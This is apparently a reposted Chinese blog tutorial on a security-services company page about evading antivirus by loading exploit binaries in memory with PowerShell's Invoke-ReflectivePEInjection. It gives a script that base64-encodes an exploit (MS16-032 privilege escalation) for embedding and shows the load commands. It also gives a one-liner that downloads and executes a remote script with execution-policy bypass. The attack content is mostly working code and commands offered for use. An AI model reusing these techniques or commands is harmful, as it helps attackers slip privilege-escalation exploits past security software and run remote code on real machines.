powershell中使用ReflectivePEInjection绕过杀毒_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

powershell中使用ReflectivePEInjection绕过杀毒

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


powershell中使用ReflectivePEInjection绕过杀毒

有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。 powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下: $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" 获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。 这里整理了一个脚本方便转换: function Convert-BinaryToString {    [CmdletBinding()] param (       [string] $FilePath    )    try {       $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);    }    catch {       throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";    }    if ($ByteArray) {       $Base64String = [System.Convert]::ToBase64String($ByteArray);    }    else {       throw '$ByteArray is $null.';    }    $Base64String | set-content ("b64.txt") } 使用zcgonvh的16032做演示。使用脚本转换: PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1 PS C:\Users\evi1cg\Desktop\16_032> Convert-BinaryToString -FilePath .\ms16-032_x64.exe 生成base64的字符串并存储在b64.txt中。 使用如下命令进行转换: $InputString = "base64string"$PEBytes = [System.Convert]::FromBase64String($InputString)  之后就可以使用 进行加载,最后分享一下最终的脚本:Invoke-ReflectivePEInjection -PEBytes $PEBytes E2P_MS16-032.ps1 使用方式为: E2P_MS16-032 -Command '"net user"' 脚本GITHUB: 远程加载命令: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'" 文章出处:Evi1cg's blog 原文链接: https://evi1cg.me/archives/BypassAV_With_ReflectivePEInjection.html

powershell中使用ReflectivePEInjection绕过杀毒